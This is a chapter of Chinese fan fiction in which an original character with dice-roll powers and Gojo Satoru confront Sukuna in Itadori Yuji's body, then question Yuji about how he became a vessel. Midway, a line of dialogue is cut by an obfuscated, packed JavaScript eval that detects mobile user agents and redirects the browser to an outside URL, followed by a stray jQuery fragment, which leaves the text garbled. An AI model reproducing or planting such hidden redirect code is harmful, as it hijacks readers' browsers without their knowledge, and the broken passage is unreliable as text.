两面宿傩受肉成功,这对于整个咒术界来说都是一个巨大的噩耗。


    总有人说相信后人智慧,也有人说未来会发展的比现在更好。


    但咒术,不是这样的。


    越是古老的术式就拥有着越强大的力量,所以家传术式才永远是咒术界上层的存在。


    “总监部有给两面宿傩的资料吗,千年前的诅咒师,多少也会有点他战斗的记录吧。”在瞬移的间隙,白波月趁机问道。


    可惜。


    “没有。”


    五条悟语气中充满了冷漠的遗憾,“你知道的,总监部就只有一张发号施令的嘴,和一只指点江山的手,他们没有除此以外的第三个器官了。”


    对五条悟的冷笑话礼貌的笑了一下,白波月就被松开了。他轻巧落地,看向了那个同样注意到他们从天而降的男人。


    男人赤裸着上半身,精壮的肌肉上被飞溅出一小片鲜血,正冒着热气缓缓往下淌,消失在他的腰线处。


    “哦,终于来了个能看的了。”


    声音比起这个身体的原主人,实在是低了很多,这也让白波月的眉头微微皱起,眼罩下的眼睛对着对方上下狠狠打量一番。


    太像了。


    虽然一开始就有不妙的预感,怀疑受肉的身体是虎杖悠仁,但他也没想到自己还有这么乌鸦嘴的一天。


    就是……两面宿傩受肉后,为什么还是悠仁的样子?


    “由暗而生……”


    早已不是第一次配合出战的二人动作默契,一个单手竖起丝滑开帐,一个也单手竖起,唇角笑出一抹肆意。


    “领域展开。”


    “领域展开。”


    对面的两面宿傩见他们的动作,竟也毫不犹豫的打算开领域对冲。此时如果双方都开领域成功,那最危险的毫无疑问是不会用领域的白波月。


    但可惜。


    白波月是不会让两面宿傩成功的。


    [术式检定]


    [大失败]


    管你什么数值呢,100大点伺候!


    虽然原本咒力就不够开领域,只是虚张声势罢了,但被莫名打断咒力流动的两面宿傩还是很生气。他怒眼一蹬,咒力流被阻断的感觉并不好受,但他还是精准的借着咒力独特的波动,找到了白波月的头上。


    只是咒力流动被打断罢了,又不是术式熔断。


    两面宿傩收回摆好的手势,接着一个前冲就打算先给白波月来一波‘掏心掏肺’,至于那个会开领域的小子,还没有这个会打断技能的家伙重要,要知道在战斗中被敌人打断节奏才是最恐怖的。


    是,被迫中断的咒力流并没有影响两面宿傩的攻击,但从这一瞬中找到生机的却另有其人。


    白波月眼看着瞬闪到他面前的两面宿傩挥出拳头,他也做好了准备,一个大成功的闪避早已落地。可就在这时,对方突然双眼一闭,直挺挺的从空中掉落,站在那里了。


    再睁眼,就是白波月熟悉的那个人了。


    领域还没展开的五条悟收回手指,头轻轻一歪,就这么看着白波月慢慢走到了刚刚还是两面宿傩的人身边。


    试探一下?


    虎杖悠仁身上那浓重的威胁感在他落地后飘散的一干二净,“悠仁?”白波月犹豫的伸手想要把人唤醒。


    可还没等他碰到,那一轻声的呼喊就已经足够了。


    男生像是刚从睡梦中醒来,对着白波月眨眨眼,很茫然的四处看看,看到周围都是些废墟的时候很是震惊,一点都没有这些是自己造成的记忆。


    “噫?我怎么在这儿,这怎么变成废墟了?白波先生?那个,这里是……”


    白波月眼罩下的眼睛微微睁大,他一个猛回头和另一个眼罩对视。


    早已收起攻击性的五条悟悠悠然走到他们身边,“让我瞧瞧。”


    他低下身,把自己带着眼罩的脸凑到了对方脸前,隔着一层阻碍细细观察,“嗯哼,有趣,这是已经完全融合到一起了哦!”


    完全融合。


    白波月原本还有点开心于虎杖悠仁醒过来这件事,但听到五条悟说的完全融合他又开心不起来了。


    受肉,本质上就是灵魂体夺舍肉身。


    在成功受肉的那一刻,原本□□的灵魂不说完全泯灭,那也该是弱小可怜又无助的。像虎杖悠仁这样不光灵魂完全融合,甚至还能和外来强大灵魂争抢主权的,太少见了。


    不,应该说是完全没有。


    在咒术界那些少得可怜的记载中,只要是受肉,大部分的对象都是尸体。


    而一些特殊的术式能够召唤死人的灵魂附着在人身上,但那些人很少有在召唤结束后还能活下来的。这种的与其说是召唤,到不如说是献祭。


    在五条悟试验虎杖悠仁是不是能自己掌控意识的时候,白波月就在旁边安静的站着,飞掠的沙石没有影响他的沉思,他还在思考有关受肉的问题。


    “受肉,活人受肉,最起码得让活人接触到咒物吧。”


    想到这点,白波月上前拦住要五条悟把虎杖悠仁晕住带走的动作。


    “啊?白波先生,怎么了吗?”


    “怎么,月,你这么喜欢的吗?叫我一声哥哥的话,我就在老橘子那里帮你说点好话,把人保下来呦。”


    白波月没有管他们说的任何一句话,只是扶住虎杖悠仁在微凉的夜风中依旧火热的身体,把自己的脸对准他,郑重问到:“悠仁,你是怎么被受肉的?”


    “受肉?”


    丝毫没接触过的咒术界的虎杖悠仁自然是没听懂的,他歪头看向白波月身后比他高的五条悟,五条悟还冲他歪歪头,半晌像是突然想起来一样超大声击掌。


    “哦哦!对了!”


    “你还不知道!”


    他单手微微用力握住白波月的手臂,让他放开已经被他捏红的虎杖悠仁的肩膀,上前一步阻隔开俩人,而后才慢悠悠的解释着。


    “就是你是怎么成为容器的,按理来说被两面宿傩寄宿你起码应该是接触过宿傩的手指的,但你们学校的那一根不是被你交给我们了吗,那你又是从哪里接触的呢?”他语气中透露出些危险的意味,并且再此把想往前凑的白波月往后扒拉。


    月很不对劲。


    从他开始非要跟来的时候就开始不对劲了,这次明明也带着星,但他的行为仍然偏向袒护虎杖悠仁。


    要知道,月可是个‘咒灵必死’派。


    而且月可是承认过的,在他心中最重要的top1永远是他们同期的三个人啊,怎么可以有别人啊!不管怎么说,这种在意都已经超出他和人交往的阈值了,现在,就连星也没法阻断这种……污染了吗。


    切,他才没嫉妒。


    只是月就不是带人热忱的人设,要知道他们也是在一起经历过生死后这家伙才真正亲密起来的,他之前那副带着点讨好的融入感,看多了是会有点恶心的。所以,果然还是这个学生的问题吗。


    ……他才没嫉妒,好吗。


    这只是必要的隔离罢了。


    “我……不记得了。”虎杖悠仁答不出来。


    “我只记得我带着爷爷回家后,灵异社团的学姐和学长突然给我打来电话,说让我救救他们,然后对面一声尖叫就挂断了。”


    “于是我半夜出门来找他们,可刚进校门我就失去意识了,再醒来就是刚才了。”


    “嗯嗯。”五条悟一边听着一边点头,“所以就是说,你也不清楚自己是怎么成为容器的?”


    “是的。”虎杖悠仁的表情没什么特殊的变化,这让一直有意观察他表情上漏洞的五条悟相信了他的这番说辞。


    在他身后,终于突破五条悟防线的白波月,暗中翻了个白眼。


    他虽然没法阻止的行为和情绪,但他还能不清楚自己的异常吗,他现在可是带着星的!更何况他还有个第三视角的他在旁观者清,等他今天回去他就要喊提示框君来,好好探讨一下有关虎杖悠仁的问题。


    至于现在,先解决受肉变容器的问题。


    “我说啊……”又被五条悟一肘打回来了,白波月捂着有点痛的胸口“会不会有可能,我的术式能帮他想起来呢?”他语气已经有点不好了。


    “诶——是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057198|188940||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吗,月大人这么厉害啊。”月不高兴了,那他五条悟还不高兴了呢!


    明明说过会永远把他放在第一位的,月这个大骗子!


    (杰、硝子:那我俩呢?)


    在不情不愿的五条悟一副监工样的监视下,白波月给虎杖悠仁投了个灵感大成功,趁他目前沉浸在回忆中时,白波月趁机和五条悟聊起来。


    “真带回去,总监部那边会怎么说?”白波月虽然问了,但他心中已然有了这个答案。


    “还能什么,死刑呗,他们也就会这个了,当初忧太不也是这样。”五条悟颇为无聊把双手放在脑后,他还是喜欢这个姿势。


    “怎么,不想让他死?”


    白波月有些哀伤,就算抛去那个奇怪的弟弟滤镜,一个还没成年还从未接触过咒术界的孩子就要因为那些莫名的咒灵而死掉,多少他还是会有些遗憾的。


    ……这个想法里真的不包含滤镜吗。


    他以前是这样的人吗?


    白波月的大脑开始疯狂运转,回想着那些年做过的任务里,因为咒灵肆虐而无端死掉的人。


    嗯,没有一点怜悯之心。


    所以这个像是滤镜一样的东西,这么恐怖吗?


    “唉。”他颇为头痛的扶住额头,“我不想让他死,怎么办。”


    他本意上是想说,自己因为弟弟滤镜的影响,对人出现了多余的仁慈。怎么办也是在问悟这个莫名的滤镜对他的影响该怎么解决。


    但五条悟很自然的歪了重点。


    “哼,虽然对你对他太好了这点很不爽,但我会努努力的,保下命还是没问题的。”五条悟狠狠扭过头,不去看白波月。


    开玩笑。


    闹别扭是一回事,这个叫虎杖悠仁的孩子他已经决定要让他加入一年级豪华午餐阵容了,整好一年级目前就两个人,再加一个人就是三人组小队了。


    再加上自己这个帅哥眼罩老师,嘿嘿,那不就是火影●者主角团吗!


    “唉!不是!”白波月绝望的伸出手,但拒绝的话在嘴里翻涌一圈却说不出丁点,一阵纠结却发现自己被堵嘴了,好绝望。


    “……唉,算了。”


    救就救了吧。


    白波月放弃反驳了,转而开始催眠自己。


    救人一命,胜造七级浮屠,救人一命……胜造七级浮屠。


    就当是积攒功德了。


    “哈!”一旁陷入回忆的虎杖悠仁终于醒了,他猛地深吸一口气,睁开了眼睛。


    那瞪大到极限的眼睛中,充满了惊魂未定和某种恐慌,让他脚下一个踉跄直接跪倒在地。双手狠狠掐住自己的脖子,甚至还伸出手指去扣喉咙。他干呕两声,很狼狈,却什么也没吐出来。


    看到这一幕,白波月和五条悟都有所察觉。


    看来宿傩的手指应该是被吃了。


    “那东西,有毒的吧。”五条悟默默的问。


    “嗯,夜蛾给咱们讲过的,真难得你还记得啊。”白波月回了话,上前两步把虎杖悠仁拉起来。


    他还处于惊恐中,棕黑色的眼珠在眼眶中乱转,视线没个落点,像是某种应激状态。


    “悠仁,悠仁!”白波月拍拍他的脸试图唤醒神志,但对方依然手脚乱摆,想要挣脱什么赶紧逃跑一样。


    一次性扣太多san值,临时疯狂了吗?


    白波月冷静的收回自己原本想要丢出的骰子,伸出手掌,摆好架势,冲着虎杖悠仁的脸直接一发‘纸扇恢复’,把虎杖悠仁不知道飞去哪里的魂喊了回来。


    “怎么样,醒了吗?还记得自己是谁吗?”


    “我……”虎杖悠仁腿软的想要瘫坐在地上,全凭着白波月单手拉着他的小臂才不至于瘫倒,“醒了,我叫虎杖悠仁。”


    他咽咽口水,那一巴掌还挺疼的。


    “醒来就好,那么,看到了吗,是谁?”五条悟也站了过来。


    被二人围视的虎杖悠仁自己站好,低着头,他都不敢相信他现在嘴里说出来的东西,他自己都觉得荒谬。


    “我看到了……我妈妈,我死去了十五年的,妈妈。”